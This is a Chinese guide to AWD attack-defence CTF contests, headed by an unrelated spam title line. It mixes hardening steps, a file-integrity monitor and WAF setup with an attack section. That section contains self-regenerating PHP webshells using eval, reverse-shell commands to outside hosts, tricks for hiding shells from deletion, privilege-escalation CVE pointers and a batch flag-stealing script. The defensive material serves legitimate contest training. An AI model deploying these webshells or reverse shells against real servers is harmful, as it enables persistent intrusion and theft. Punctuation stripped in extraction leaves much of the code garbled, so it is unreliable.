用电脑做服务器的建一个网站,淘宝的网络营销模式,学做网站需要什么,品牌策划设计AWD简单介绍#xff1a; AWD#xff1a;Attack With Defence#xff0c;即攻防对抗#xff0c;比赛中每个队伍维护多台服务器#xff08;一般两三台#xff0c;视小组参赛人数而定#xff09;#xff0c;服务器中存在多个漏洞#xff08;web层、系统层、中间件层等 AWDAttack With Defence即攻防对抗比赛中每个队伍维护多台服务器一般两三台视小组参赛人数而定服务器中存在多个漏洞web层、系统层、中间件层等利用漏洞攻击其他队伍可以进行得分加固时间段可自行发现漏洞对服务器进行加固避免被其他队伍攻击失分。 一、防御加固
1、Linux基本命令
1、文件备份-----------------
cat /etc/passwdpasswd.txt 备份basswdi文件
cat /etc/shadow shadow.txt 备份shadow.文件
netstat -anp netstat_anp.txt 备份当前网络连接
cp /bash history history.txt 备份历史命令
w users.txt 备份用户登录信息
ps aux ps.txt备份进程信自
2、用户信息分析--------------------
whoami 查看当前用户
who 查看当前登录系统的所有用户
w 显示登陆系统的用户列表显示正在执行的指令
users 显示当前登录系统的所有用户的用户
last 查看最近登录成功的用户及信息
cat/etc/passwd 查看用户信息
3、进程信息分析---------------------------
top 动态查看进程
Isof-p pid 查看PID为xxx的进程打开的文件
Isof -c sshd 查看进程sshd打开的文件
Isof -i:port 查看端口对应的一些进程
netstat -pantu grep pid查看网络连接情况通过过滤pid查看连接的端口
fuser -n tcp port 查看端口对应的进程pid
4、进程信息分析---------------------------
ps aux 查看进程
pstree 查看进程树
ps aux --sort -pcpu 查看进程根据cpu使用从高到低
ps aux --sort -pmem 查看进程根据内存使用从高到低
5、网络连接分析---------------------------
netstat -an 打印Linux中网络系统的状态信息
netstat -nat | awk {print $6}|sort | unig -c|sort -rn 查看TCP连接状态
6、异常文件分析---------------------------
find /var/-type f -mtime -3 | xargs ls -la 查看指定目录最近被修改的文件
find./ -mtime 0 -name *.php 查找24h内被修改的文件
find./ -ctime -2 -name *php 查找72h查找72h内新增的
find./ -iname *.php-perm 777 权限查找
7、定时任务分析---------------------------
cat /etc/crontab
8、其他-----------------------------
netstat ps 查看端口与服务 与外连接情况
ps 端口和服务
passwd username //ssh口令修改
grep -r flag /var/www/html/ //Linux在Web目录下查找flag
findstr /s /i flag *.* //Windows当前目录以及所有子目录下的所有文件中查找flag这个字符串2、WEB加固
1、网站后台密码
后台修改 //系统设置
数据库修改
如
网站后台存在user这个表、网站账号admin账号、密码为123456
mysql -u root p 先登录mysql
select * form user;
update USER set password147258 where idadmin;set password for mycmslocalhost password(18ciweufhi28746); //MySQL密码修改
find /var/www//html -path *config*’ //查找配置文件中的密码凭证查看是否留有后门账户 cat /etc/passwd
2、web网站-数据库备份
1、
tar-zcvf web.tar.gz web/ #压缩名.tar文件/目录
权限有问题的话在当前目录用此命令
tar -zcvf web.tar #所有文件打包
shell进行下载进行代码审计
2、
压缩源码
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
解压缩源码
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html
备份源码
mv web.tar /tmp
mv web.zip /home/xxx
上传和下载源
scp usernameservername:/path/filename /tmp/local_destination //从服务器下载单个文件到本地
scp /path/local_filename usernameservername:/path //从本地上传单个文件到服务器
scp -r usernameservername:remote_dir/ /tmp/local_dir //从服务器下载整个目录到本地
scp -r /tmp/local_dir usernameservername:remote_dir //从本地上传整个目录到服务器1、寻找配置文件
通常在名为config.php 一类的文件中存放了数据库的账号密码
2、mysql数据库登录
mysql -u root p
3、备份目标数据库
mysqldump -u root -p --databases test /tmp/db.sql
--------------------------------------------------------------------
备份指定数据库
mysqldump –u username –p password databasename target.sql
备份所有数据库
mysqldump –all -databases all.sql
信息数据库
mysql –u username –p password database from.sql后门查杀-webshell-不死马
1、通过命令查看可疑文件
find /var/www/html -name*.php -mmin -20 #查看最近20分钟修改文件
find./ -name *.php| xargs wc-l |sort-u #寻找行数最短文件
grep -r --include*.php [a-z]eval($_POST /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name *.php | xargs grep eval (more
find . -name *.php | xargs grep -n eval(
find . -name *.php | xargs grep -n assert(
find . -name *.php | xargs grep -n system(
2、webshell查杀工具
河马
D盾
3、后门用户查杀
U1D大于500的都是非系统账号500以下的都为系统保留的账号
userdel -r username4、杀弹反弹shell
老规矩查看进程
ps -ef
px -aux
ps -aux | grep www-data
注意www-data权限/bin/sh最重要的是
kill ps -aux | grep www-data | grep apache2 | awk {print $2}5、不死马删除
ps aux grep www-data 查看进程
kill-9 pid 清除进程
5.1命令清除不死马
ps aux grep www-data awk {print $2}xargs kill-9ps aux列出进程信息grep www-data在进程信息中匹配目标awk{print2}提取pidxargs kill-9将pid作为参数传递给kill-9
5.2条件竞争清除
通过不断的向不死马中写入数据达到覆盖的效果
条件竞争
?php
set_time_limit(o);
ignore_user_abort(true);
unlink(_FILE_);
while(1)
{file_put_contents(./shell.php,11111);usleep(o);
}
?
5.3通过脚本方式
#!/bin/bash
while true;do rm -rf shell.php done5.4创建一个和不死马生成的木马一样名字的文件夹
#!/bin/bash
dire/var/www/html/.shell.php/
file/var/www/html/.shell.php
rm -rf sfile
mkdir $dire5.5可以通过不断复写shell.php来达到该木马难以使用的效果
利用
192.168.10.2:80/.config.php //输入网址会自行创建
POST cmdls
GET cmdsystem(ls);5.6删除不死马
创建一个killbusima.php
?phpignore_user_abort(true);set_time_limit(0);unlink(FILE_);$file config.php;$c0de7 php ech0111111111111111111111?;while (1){file_put_contents($file,$code);/system(touch-m-d2018-12-0109:10:12,1.php);//usleep(1000);usleep(0);}
?
5.7上脚本删除 github项目很多
6、清除反弹shell
ps aux grep www-data 查看进程
清除进程
kill ps -aux grep www-dataa
awk {print $2}3、日志分析-WAF-文件监控
目的了解运行情况、发生的安全事件、分析取证、payload反制
3.1文件监控
1、文件监控备份运行文件监控脚本前所有文件删除新增非自用文件记录新增文件知晓文件变动历史防止别人恶意写入不死马迅速恢复被修改的源码
2、文件监控可以对web目录进行监控发现新上传文件或者文件被修改立即恢复这样可以防止上传shell等攻击
# -*- coding: utf-8 -*-
#use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import timeCWD os.getcwd()
FILE_MD5_DICT {} # 文件MD5字典
ORIGIN_FILE_LIST []# 特殊文件路径字符串
Special_path_str drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82
bakstring bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS
logstring log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD
webshellstring webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD
difffile diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCNSpecial_string drops_log # 免死金牌
UNICODE_ENCODING utf-8
INVALID_UNICODE_CHAR_FORMAT r\?%02x# 文件路径字典
spec_base_path os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path {bak : os.path.realpath(os.path.join(spec_base_path, bakstring)),log : os.path.realpath(os.path.join(spec_base_path, logstring)),webshell : os.path.realpath(os.path.join(spec_base_path, webshellstring)),difffile : os.path.realpath(os.path.join(spec_base_path, difffile)),
}def isListLike(value):return isinstance(value, (list, tuple, set))# 获取Unicode编码
def getUnicode(value, encodingNone, noneToNullFalse):if noneToNull and value is None:return NULLif isListLike(value):value list(getUnicode(_, encoding, noneToNull) for _ in value)return valueif isinstance(value, unicode):return valueelif isinstance(value, basestring):while True:try:return unicode(value, encoding or UNICODE_ENCODING)except UnicodeDecodeError, ex:try:return unicode(value, UNICODE_ENCODING)except:value value[:ex.start] .join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) value[ex.end:]else:try:return unicode(value)except UnicodeDecodeError:return unicode(str(value), errorsignore)# 目录创建
def mkdir_p(path):import errnotry:os.makedirs(path)except OSError as exc:if exc.errno errno.EEXIST and os.path.isdir(path):passelse: raise# 获取当前所有文件路径
def getfilelist(cwd):filelist []for root,subdirs, files in os.walk(cwd):for filepath in files:originalfile os.path.join(root, filepath)if Special_path_str not in originalfile:filelist.append(originalfile)return filelist# 计算机文件MD5值
def calcMD5(filepath):try:with open(filepath,rb) as f:md5obj hashlib.md5()md5obj.update(f.read())hash md5obj.hexdigest()return hashexcept Exception, e:print u[!] getmd5_error : getUnicode(filepath)print getUnicode(e)try:ORIGIN_FILE_LIST.remove(filepath)FILE_MD5_DICT.pop(filepath, None)except KeyError, e:pass# 获取所有文件MD5
def getfilemd5dict(filelist []):filemd5dict {}for ori_file in filelist:if Special_path_str not in ori_file:md5 calcMD5(os.path.realpath(ori_file))if md5:filemd5dict[ori_file] md5return filemd5dict# 备份所有文件
def backup_file(filelist[]):# if len(os.listdir(Special_path[bak])) 0:for filepath in filelist:if Special_path_str not in filepath:shutil.copy2(filepath, Special_path[bak])if __name__ __main__:print u---------start------------for value in Special_path:mkdir_p(Special_path[value])# 获取所有文件路径并获取所有文件的MD5同时备份所有文件ORIGIN_FILE_LIST getfilelist(CWD)FILE_MD5_DICT getfilemd5dict(ORIGIN_FILE_LIST)backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUGprint u[*] pre work end!while True:file_list getfilelist(CWD)# 移除新上传文件diff_file_list list(set(file_list) ^ set(ORIGIN_FILE_LIST))if len(diff_file_list) ! 0:# import pdb;pdb.set_trace()for filepath in diff_file_list:try:f open(filepath, r).read()except Exception, e:breakif Special_string not in f:try:print u[*] webshell find : getUnicode(filepath)shutil.move(filepath, os.path.join(Special_path[webshell], ntpath.basename(filepath) .txt))except Exception as e:print u[!] move webshell error, %s maybe is webshell.%getUnicode(filepath)try:f open(os.path.join(Special_path[log], log.txt), a)f.write(newfile: getUnicode(filepath) : str(time.ctime()) \n)f.close()except Exception as e:print u[-] log error : file move error: getUnicode(e)# 防止任意文件被修改,还原被修改文件md5_dict getfilemd5dict(ORIGIN_FILE_LIST)for filekey in md5_dict:if md5_dict[filekey] ! FILE_MD5_DICT[filekey]:try:f open(filekey, r).read()except Exception, e:breakif Special_string not in f:try:print u[*] file had be change : getUnicode(filekey)shutil.move(filekey, os.path.join(Special_path[difffile], ntpath.basename(filekey) .txt))shutil.move(os.path.join(Special_path[bak], ntpath.basename(filekey)), filekey)except Exception as e:print u[!] move webshell error, %s maybe is webshell.%getUnicode(filekey)try:f open(os.path.join(Special_path[log], log.txt), a)f.write(diff_file: getUnicode(filekey) : getUnicode(time.ctime()) \n)f.close()except Exception as e:print u[-] log error : done_diff: getUnicode(filekey)passtime.sleep(2)# print [*] getUnicode(time.ctime())3.2日志分析
流量监控实现反打 重点---------------大型比赛的AWD竞赛都会提供流量包文件供选手查看通过流量包可以审计出一些pay|oad,通过流量可以迅速进行批量反打。如果主办方不提供流量包可以对网站入口文件挂上记录日志的文件从而浏览记录下来的流量。
部署在网站目录或者加在网站源码中。保存为txt以供分析。
?php
date_default_timezone_set(Asia/Shanghai);
$ip $_SERVER[REMOTE_ADDR]; /记录访问者的ip
$filename $_SERVER[PHP_SELF]; /访问者要访问的文件名
$parameter $_SERVER[QUERY_STRING]; /访问者要请求的参数
$time date(Y-m-d H:i:s,time()); /访问时间
$logadd 来访时间.$time.--.访问链接.http://.$ip.$filename.?.$parameter.\r\n;
Iog记录
$fh fopen(log.txt,a);
fwrite($fh,$logadd);
fclose($fh);
?
网站日志存放位置
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/
GITHUB项目3.3WAF部署
使用方法
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护有两种做法根据情况二选一即可a).在所需要防护的页面加入代码
require_once(waf.php);
就可以做到页面防注入、跨站
如果想整站防注就在网站的一个公用文件中如数据库链接文件config.inc.php中
添加require_once(waf.php);来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.phpb).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file 360_safe3.php路径;
需要注意的是部署waf可能会导致服务不可用需要谨慎部署。waf的作用
最重要是分析流量别人攻击我们的时候我们可以看到别人的攻击方式。这样的话即使我们找 不到攻击点非常苦恼的时候我们就可以分析流量使用别人的攻击方式。
可以直接进行防御类似于一台防火墙一般的比赛是不允许使用的毕竟比赛时间短就根本绕不过去waf那比赛就没意思了
有些比赛是不允许上通用waf的check机制可能会check到waf过滤的参数导致宕机waf部署需要谨慎还需要注意的是上完waf检查服务是否可用部分检查允许使用部分小的waf会检查页面完整性、服务完整性。
常用的waf使用方法是用你要保护的文件去包含这个waf.php。比如说你要保护select.php那么你就在select.php里面写上一行include ./waf.php或者 require_once(waf.php);
如果你要保护所有文件那么就在config这种配置文件里包含waf因为这种config的文件一般会被大部分功能页面调用
网上很多waf脚本这里介绍几个waf项目
1.AWD_PHP_WAF
项目地址GitHub - NonupleBroken/AWD_PHP_WAF: a PHP WAF for AWD
使用方法
使用前先修改config.php内的密码密码使用sha256加密
上waf
$ find . -path ./waffffff -prune -o -type f -name *.php -print | xargs sed -i s/?php/?php include_once(\\/var\/www\/html\/waffffff\/waf.php\);/g
下waf
$ find . -path ./waffffff -prune -o -type f -name *.php -print | xargs sed -i s/?php include_once(\\/var\/www\/html\/waffffff\/waf.php\);/?php/g
比如访问 web 目录下的/waffffff/admin.php?password1234562.CTF-WAF
项目地址GitHub - sharpleung/CTF-WAF: 针对CTF线下赛的通用WAF,带流量转发日志审计功能。3.awd-watchbird
这是个通防waf支持流量转发和替换flag
项目地址GitHub - leohearts/awd-watchbird: A powerful PHP WAF for AWD
1.打包好好之后直接上传到html目录下回到终端在上传的waf目录下使用命令
php watchbird.php --install /var/www/html
这样就能使每个页面的php代码包含到waf下
2.运行waf 之后打开我们的web 页面在任意一个php 页面后面输入?watchbirdui就会进入到waf 配置页面然后设置密码(注意第一次打开需要设置密码)
3.配置好之后就能进入内部网页4.AoiAWD
项目地址GitHub - DasSecurity-HatLab/AoiAWD: AoiAWD-专为比赛设计便携性好低权限运行的EDR系统。
使用方法AoiAWD-萌新的得分利器
下载好自己去编译或者找编译好的直接用文件寻找
1、寻找配置文件
find -name nginx.conf #定位nginx目录
find /-path *nginx*-name nginx*conf #定位nginx配置目录
find /-name httpd.conf #定位apache目录
find /-name index.php #定位网站目录
2、寻找日志文件
/var/log/nginx/ #默认Nginx日志目录
/var/log/apache/ #默认Apache日志目录
/var/log/apache2/ #默认Apache日志目录
/usr/Ioca|/tomcat/logs #Tomcat日志目录
tail-f xxx.log #实时刷新滚动日志文件4、PHP加固PHP参数配置
首先找到PHP的配置文件/etc/php/{version}/php.ini
禁用高危函数disable_functions dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
配置open_basedir将用户访问文件范围限制在指定的区域open_basedir/var/www/html
禁用魔术引号自动对外部来源数据进行转义防止SQL注入magic_quotes_gpc Off
关闭PHP伪协议allow_url_fopen Off
allow_url_include Off
重新PHPsudo service php7.0-fpm restart
sudo systemctl restart php7.0-fpm.service配置.htaccess
使用.htaccess配置文件禁止执行php文件Directory /var/www/html/upload //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes //禁用了目录中的 CGI 执行和目录索引显示目录内容列表功能。
AllowOverride None //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含SSI文件类型。
php_flag engine off //这个指令将 PHP 的引擎标志engine设置为关闭状态从而禁用了在该目录中执行 PHP
/Directory5、漏洞修复
1、已知webshell 直接注释、或者删除即可 2、TOP10漏洞修复
1、SQL注入
1、基于黑名单
Sblacklist
regexp|from|count|procedureland|asciisubstr|substring|left|right |union|if|caselpowl expl
order |sleep|benchmark|intolload|outfilel dumpfilelload_filel join |showlselect |updatelset|co
ncat deletel alter |insert createlunion|or|dropnot|for|join is between group_concat|likelw
hereluserlasciilgreatestlmid substr|left|right |char |hexlord|casellimit|conv|tablelmysq1_h
istorylflagl count I rpad*.|-;
if((preg_match(/.$blacklist./is,$a)1)(preg_match(/.$blacklist./is,$b)1)){die(); 2、命令执行
1、调用函数进行参数过滤
?php
$a$_GET[cc];
Ssangfor
eval|assert|passthru|pcnt1_exec|exec|system|escapeshellcmd|popen|chroot|scandir|chgrp|ch
own|shel1_execlproc_open|proc_get_status|ob_start;
if(preg_match(/.$sangfor./is,$cc)1){die();
$bbphpinfo();
call_user_func($cc,$bb);
?
2、禁用函数
disable_functionscall_user_func,call_user_func_array,array_map,array_filter,ob_start,php
info,eval,assert,passthru,pcnt1_exec,exec,system,escapeshellcmd,popen,chroot,scandir,chgr
p,chown,shel1_exec3、反序列化
1、PHP7.0特性为unserialize()提供过滤
php
//将所有的对象都转换为_PHP_Incomp1ete_c1ass对象
$data unserialize($foo,[allowed_classesfalse]);
//将除Myc1ass和Myc1ass2之外的所有对象都转换为_PHP_Incomp1ete_c1ass对象
$data unserialize($foo,[allowed_classes[Myclass,Myclass2]);
//默认情况下所有的类都是可接受的等同于省略第二个参数
$data unserialize($foo,[allowed_classestrue]);
?
2、限制phar拓展php反序列化
$blacklist phar|zip|compress.bzip2|compress.zlib|compress.bzip2;
if(preg_match(/.$blacklist./is,$a)1){die();
}4、文件上传
#修复参考
严格限制上传的文件路径
文件扩展名服务端白名单校验
文件内容服务端校验
上传文件重命名
隐藏上传文件路径
限制相关上传文件目录的执行权限
前后端都对文件类型进行验证1、后端代码限制上传的文件类型类型后缀和大小
if (($_FILES[Up10defile][type]image/gif)(substr($_FILES[Up10defile][name],
strrpos($_FILES [Up10defile][name],.)1))gif)($_FILES[file][size]
1024000){
else{die();
}2、强制给上传的文件添加后缀名在不存在文件包含漏洞的情况下该方法能最有效的防御攻击者上传执行木马
if (file_exists(upload_file/. $_FILES[Up10defile][name])){echo $_FILES[Up10defile][name].already exists.;
else{move_uploaded_file($_FILES[Upl0defile][tmp_name],
upload_file/. $_FILES[Up1odefile][name]..gif);echo Stored in: .upload_file/ .$_FILES[Up10defile][name]..gif;
}文件包含
本地文件包含路径限制
$filename $_GET[filename]
$pattern \/.\.\/\.\/|etc|var|php|jpg|jpeg|png|bmp|gif;
if(preg_match(/.$pattern./is,$filename)1){echodie00000000000000000000000000000;die();
}
include($filename);原则 能修复的尽量修复 不能修复的先注释源码不影响页面显示再删除 站点和对应的功能尽可能不宕机
二、攻击
1、信息收集
## 一般比赛都会给定ip列表给出相应的网段地址选手可以根据ip列表去生成靶机列表。如果主办方不出具ip列表可以使用nmap或者其他工具扫描对应网段获取靶机ip。发现对方靶机服务
一、主机识别
1、nmap扫端口
nmap-sP 192.168.1.1/24 #扫描c段主机
nmap-sV 1.1.1.1-p1-65535 #探测端口的服务
nmap -sS -p 80,8080,3306 192.168.1.1/24 #扫描c段下的主机端口是否开放
主机探测一般使用Nmap进行主机探测探测范围为自己主机的C段
存活探测nmap-sS 10.16.10.0/24 -sn 也可以
端口探测nmap 10.16.10.19 -p 1-65535
2、目标识别脚本
import requests
for x in range(2,255): url http://192.168.1.{}.format(x) try: r requests.post(url) print(url) except: pass
3、gorailgunr
填好ip端口信息即可支持导出CSV然后进行筛选二、服务探测
使用Nmap、Dirsearch和WEB指纹识别工具获取靶机的开发语言系统名称及版本等。还可以使用其他相应工具、和脚本cms识别、目录扫描、各种安全工具安排上2、攻击方式
1、提前准备
漏洞库 、cms版本、中间件、框架漏洞、各种POC\EXP、各种漏扫项目、马子等等
2、攻击Web服务 代码审计 //使用D盾、Seay源代码审计系统 历史漏洞 //查看CMS针对性攻击 /使用扫描器进行探测 手工测试 TOP10漏洞 /比赛较多cms框架漏洞、弱口令、命令执行、sql注入、服务漏洞等等 sql注入漏洞 —sql-shell执行select load_file(‘/flag’);即可得到flag 文件包含漏洞通过../../../../../../flag的方式获取flag RCE漏洞有GET/POST根据情况而定 写payload 弱口令进入后台写shell等等
3、漏扫项目
XRAY、GOBY、Pocsuite3、漏洞库EXP、POC-bomber-main、wapiti3等等工具 如下
1、wapiti3 支持大部分漏洞 地址GitHub - wapiti-scanner/wapiti: Web vulnerability scanner written in Python3
安装pip install wapiti3
使用wapiti3 -u http://xxxx.xx // -l 1 测试等级
2、POC-bomber-main 地址GitHub - tr0uble-mAker/POC-bomber: 利用大量高威胁poc/exp快速获取目标权限用于渗透和红队快速打点
安装git clone https://github.com/tr0uble-mAker/POC-bomber.git cd POC-bomber pip install -r requirements.txt
使用python3 pocbomber.py -u http://xxx.xxx //验证模式 python3 pocbomber.py -u http://xxx.xxx --pocthinkphp2_rce.py --attack //攻击模式#### 4、关于已知后门利用
1、webshell工具查看 //较慢2、浏览器打开 get/POST3、脚本批量化3、权限维持
3.1不死马
创建一个.config.php的文件写入不死马带.的意义为可以隐藏不容易被发现
1、第一种
?php
set_time_limit(0); //PHP脚本限制了执行时间set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE则忽略与用户的断开脚本将后台运行
unlink(__FILE__); //删除自身while(1)
{file_put_contents(.config.php,?php eval($_POST[cmd]);?); //创建.config.phpsleep(100); //间隔时间100毫秒
}防御
可以通过不断复写shell.php来达到该木马难以使用的效果
利用
192.168.10.2:80/.config.php //输入网址会自行创建
POST cmdls
GET cmdsystem(ls);删除不死马
创建一个killbusima.php
?phpignore_user_abort(true);set_time_limit(0);unlink(FILE_);$file config.php;$c0de7 php ech0111111111111111111111?;while (1){file_put_contents($file,$code);/system(touch-m-d2018-12-0109:10:12,1.php);//usleep(1000);usleep(0);}
?不死马示例
?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file shell.php;
$code ?php if(md5($_POST[passwd])6daf17e539bf44591fad8c81b4a293d7){eval($_REQUEST[cmd]);} ?;
while (1){file_put_contents($file,$code);system(touch -m -d 2018-12-01 09:10:12 shell2.php);usleep(5000);
}
?#passwdy0range857
#POST传参passwdy0range857asystem(ls);
将这个文件上传到服务器然后进行访问会在该路径下一直生成一个名字为shell2.php的shell文件然后使用caidao输入http://xxx/shell2.php?passpass的路径密码为a就可以链接一句话由于pass是md5加密很难被破解也可以做到隐蔽,md5值可以随意定义。
写入shell at.php内容?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file .login.php;
$file1 /admin/.register.php;
$code ?php if(md5($_GET[passwd])6daf17e539bf44591fad8c81b4a293d7){eval($_REQUEST[at]);} ?;
while (1){file_put_contents($file,$code);system(touch -m -d 2018-12-01 09:10:12 .login.php);file_put_contents($file1,$code);system(touch -m -d 2018-12-01 09:10:12 /admin/.register.php);usleep(5000);
}
?
浏览器访问at.php会生成不死马at2.php
url/upload/at.php
再传入执行命令getshell
url/upload/at2.php?passwdobse007atsystem(ls);3.2反弹shell
1、利用一nc反弹shell
bash-i/dev/tcp/192.168.182.130/666601
bash -i /dev/tcp/192.168.182.130/6666 01
本地
nc -l -p 66662、利用二定时任务反弹shell
bash -c bashbash -i /dev/tcp/[ip]/[port] 01
nc -e /bin/bash 1.3.3.7 4444 bash3、清除
ps aux grep www-data 查看进程
kill ps -aux grep www-dataa
awk {print $2}
利用预留后门上传上面的php文件并访问就可以用nc反弹shell之后就可以一直得分了3.3写隐藏webshell
隐藏shell
shell很容易被发现被删除就gg了可以采用一些操作隐藏shell或使shell无法被删除
1.把shell.php命名为.shell.php
.shell.php在执行ls时无法被查看到搭配ls的参数才能被发现
完整命令如下
mv shell.php .shell.php
ls -al
.shell.php
2.把shell.php命名为-shell.php
从上面可以看出ls加参数才能查看到shell那么我们直接写一个-shell.php、
命令行会把-后面的内容当成参数执行执行即使被发现使用rm命令进行删除会被当成是rm的参数就会发生报错无法删除shell目的也达到了
完整命令如下
[sssecs-centos-7 awd]$ ls
-shell.php
[sssecs-centos-7 awd]$ rm -shell.php
rm无效选项 -- s
Try rm ./-shell.php to remove the file -shell.php.
Try rm --help for more information.
[sssecs-centos-7 awd]$ rm -rf -shell.php
rm无效选项 -- s
Try rm ./-shell.php to remove the file -shell.php.
Try rm --help for more information.4、权限提升
涉及加固等环节可能因为权限问题需要提权收集提权POC 直接本地提权即可
Linux提权
查询系统版本信息命令
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
查询内核版本信息
uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
查看系统环境变量
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
查看语言环境信息命令
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set
查看文件上传环境信息命令
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
参考漏洞
CVE-2023-0386Linux OverlayFS权限提升漏洞
CVE-2021-4034Linux Polkit本地权限提升漏洞
CVE-2017-6074DCCP双重释放漏洞 2.6.18
CVE-2016-5195脏牛内核 2.6.22 3.9 (x86/x64)
CVE-2016-8655Ubuntu 12.04、14.04Debian 7、8
CVE-2017-1000367sudo本地提权漏洞
CVE-2016-1247Nginx权限提升漏洞
CVE-2017-16995Ubuntu16.04内核4.14-4.4
地址
http://www.exploit-db.com
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main5、快速攻击AAAAAA
在AWD中通常需要批量化进行攻击和fIag提交此时通常使用Python脚本进行实
现需要一定的编程基础。
1、后门webshell py
import requests
# 假设ip.txt文件包含以下内容
# http://example.com
# http://anotherexample.com
# 读取ip.txt文件中的URL列表
with open(ip.txt, r) as u:urls u.readlines()
# 遍历URL列表
for url in urls:# 移除URL末尾的换行符url url.strip()# 构造完整的URL这里假设我们要访问的路径是/public/123.phpfull_url url /public/123.php# 准备POST请求的数据data {c: systen(cat /flag)} # 这里应该根据实际情况来设置数据try:# 发送POST请求response requests.post(full_url, datadata)# 检查响应状态码if response.status_code 200:# 打印响应内容print(response.text)else:print(fRequest failed with status code {response.status_code})except requests.exceptions.RequestException as e:# 打印请求异常信息print(fAn error occurred: {e})三、全局工作
1、准备工作
SSH/FTP远程连接、主机发现软件、常规漏扫软件、内存马/webshell(纯/图片)/软连接马、批量攻击框架(全场利用)、日志脚本/WAF、webshll查杀工具(D盾/河马)
2、前期
1、网站备份、修改默认口令
2、修复漏洞(D盾(已知webshell/网站漏洞))
3、是否上WAF/上传日志分析脚本(文件监控)
4、主机发现
5、漏洞利用(已知webshell) 手工/脚本批量
6、权限维持
3、中期
1、漏洞挖掘(代码审计/工具/手工测试)
2、日志分析(获取攻击方式反制)漏洞持续修复
3、删除沦陷主机的马(webshell/内存马等等)
4、中后期
1、权限维持(上传不死马等等)
2、防守(加固/删除马)
5、赛后复盘
6、注意点
1.预留后门的权限维持
2.AWD一般使用cms多准备cms的POC和EXP。
3.防守注意查看日志看别人是怎么攻击自己的然后尝试攻击其他人。
4.检查后门网站上没有d盾可以扫出来的后门检查计划任务或者可疑进程等等。
5.比赛一轮10-20几分钟时间紧张,提高自己的代码审计、自动化脚本的编写能力实现自动化攻击。
四、AWD附件
AWD比赛脚本等等资源联系博主
参考了互联网各大文章视频等等。